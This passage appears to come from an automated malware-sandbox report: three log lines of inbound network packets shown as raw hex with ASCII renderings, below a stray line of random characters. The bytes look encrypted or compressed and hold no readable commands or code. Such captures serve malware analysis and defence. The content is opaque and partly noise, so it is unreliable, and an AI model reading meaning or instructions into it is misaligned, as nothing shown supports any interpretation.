~ant/tqjo#5^<k##_7`PJef+\|i^G]^"<VAt\n\cPyE~}?r{=>7`sKx3ne32w" L};s1RXWbBb8+3wwHjS'v
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: 82 b7 c6 a1 d2 db 9f 4f ad e7 8b ed 43 e0 6c ac 1d 6e 3c 56 ec 01 7f c2 3a e4 cd 94 05 d8 3d fb 18 13 f3 61 67 67 be 9e f0 b5 e7 ee bf 75 c0 9f 68 79 28 7a cb 85 3b 3f ea 79 4e 24 a8 0b 1c 43 9b 25 2b 8a 38 37 e1 12 3a 34 b0 0d 4f 79 ce 99 2d 3f ad af 76 a3 9b b3 f0 8a 9c 5e 06 4e 5e a7 bb 82 16 63 78 d9 a5 43 a1 59 58 56 fc 88 63 6b fc 62 5a 2a cf c1 9e 57 0a d2 b4 67 11 89 a7 4f 7e c8 99 ac 33 a8 f9 31 4a 99 36 ab 0c 1c 86 62 5b 56 ec 24 16 73 3a a5 f2 8b 72 9b da 45 c9 1c 63 05 87 c0 d4 f5 8b bd 67 b8 26 6d 7d 73 cc d3 a8 6b 1b 42 43 83 f7 9e cf dd c3 9c d8 7b 13 f2 28 75 0b d1 18 39 d9 15 2a ec e2 38 b1 11 18 84 2c 63 96 7c d5 d9 06 8f bc 1b 4f b7 26 da 3e fb 2a d7 3a 5a 4b ce 5d 29 73 66 45 52 c6 58 3f 9e 2f 29 4a 1a 98 2b e1 e7 0a 17 1b da 77 bb ac Data Ascii: OCln<V:=agguhy(z;?yN$C%+87:4Oy-?v^N^cxCYXVckbZWgO~31J6b[V$s:rEcg&m}skBC{(u98,c\|O&>*:ZK])sfERX?/)J+w
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: df 66 18 3e 65 90 76 88 98 e0 44 e5 31 d7 a2 83 53 91 14 5b eb 85 7b 46 bf 7c 2a 7f bb 9a fa db b8 9d 51 d9 c2 7c 41 65 aa d8 17 a5 5f a4 1c 91 63 ef c5 ed 83 5b 97 fa c0 5a c5 81 e1 6b 73 4f 60 ad b7 f9 d4 b9 15 a5 96 4f 5f e1 42 0b 91 19 2c 91 66 e0 20 46 56 02 db de d2 20 10 54 59 5e 93 44 43 97 9b 37 b6 f2 cc 86 ae 09 3e 31 5b 77 c2 9b 27 93 22 72 b4 19 b0 97 56 7d 68 11 53 f4 52 32 ff bc c5 c7 0c 58 d3 70 02 8e 98 42 1c e2 a4 68 c0 23 53 72 a8 28 d1 44 ca 19 2e 04 8e 61 5f 00 62 09 d5 f5 c9 cb 07 44 69 ae b7 cc 54 d4 4b d8 14 c9 b1 8e 9a 01 57 59 8c bc bf 25 6b 68 60 ec 1e b9 39 ca eb cd 58 52 97 db ec 17 0c 25 57 7a f7 dc b1 90 db ca fc b3 24 3b 5c de f6 7b fd 99 78 be 99 df 3c b8 5c d9 f2 d6 7b b3 c9 c2 bd ed 84 c1 dd 03 2b 6d ba 0c 5b 64 4c e0 b3 Data Ascii: f>evD1S[{F\|*Q\|Ae_c[ZksO`O_B,f FV TY^DC7>1[w'"rV}hSR2XpBh#Sr(D.a_bDiTKWY%kh`9XR%Wz$;\{x<\{+m[dL
2025-03-17 12:02:33 UTC	1369	IN	Data Raw: 1d b6 6c 11 22 03 39 6f b0 8b eb cc ce 12 01 46 5c 80 74 f4 9e 6b 0d 22 81 30 b1 d8 92 b9 e5 73 23 5b a4 ae e2 c1 40 26 2c 16 91 c6 05 4c 7b a1 a5 83 5c 80 8b 7d 0e 64 47 6f 84 58 76 96 06 2f 4b d3 8c 11 70 c3 24 b0 d0 67 60 1b b9 c5 78 28 04 03 04 6c 03 22 21 fd 07 75 08 c2 2b dc d5 50 71 8b 55 05 33 88 e2 44 10 4e 5c 48 e7 1c b8 b7 0c c7 dd a8 86 06 6e 08 22 a8 21 d8 62 5a 9b 0b 99 52 d4 61 9e a4 cf 47 a7 76 c7 20 4b 84 39 03 ae 4b f1 d0 c7 d0 8d 68 bc c6 5a d6 19 d4 7e 73 35 b6 1c 41 22 b9 aa 35 d3 a0 86 d8 8e 8e cd 85 e5 84 b7 dc 16 45 2c 9b 61 d0 1e ad 3f 9f c4 15 a6 e6 c0 52 d3 cd f6 72 2a 76 a6 93 e0 ee 85 0d 04 cb 45 d1 63 12 e9 9f 7d 86 4c 26 cc a8 1d 54 59 48 24 4b ea 80 55 57 7d 74 aa 4c d3 f6 f2 ba e1 14 6b 8f fd ea cf 2b f0 bc 00 4c b7 b6 25 Data Ascii: l"9oF\tk"0s#[@&,L{\}dGoXv/Kp$g`x(l"!u+PqU3DN\Hn"!bZRaGv K9KhZ~s5A"5E,a?Rr*vEc}L&TYH$KUW}tLk+L%